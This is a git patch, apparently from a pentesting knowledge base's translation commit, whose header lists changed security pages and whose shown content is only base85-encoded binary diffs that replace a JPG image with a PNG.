From 477aae837c1f742eee5ed76eceadbdc8c15da5dd Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 10:34:28 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/command-injection.md', 'src/linux-ha --- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes .../privilege-escalation/README.md | 626 +++++++++--------- .../pentesting-web/cgi.md | 56 +- .../pentesting-web/web-api-pentesting.md | 94 ++- .../pentesting-web/wordpress.md | 450 +++++++------ src/pentesting-web/command-injection.md | 43 +- src/welcome/hacktricks-values-and-faq.md | 132 ++-- 8 files changed, 725 insertions(+), 676 deletions(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 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 aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 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 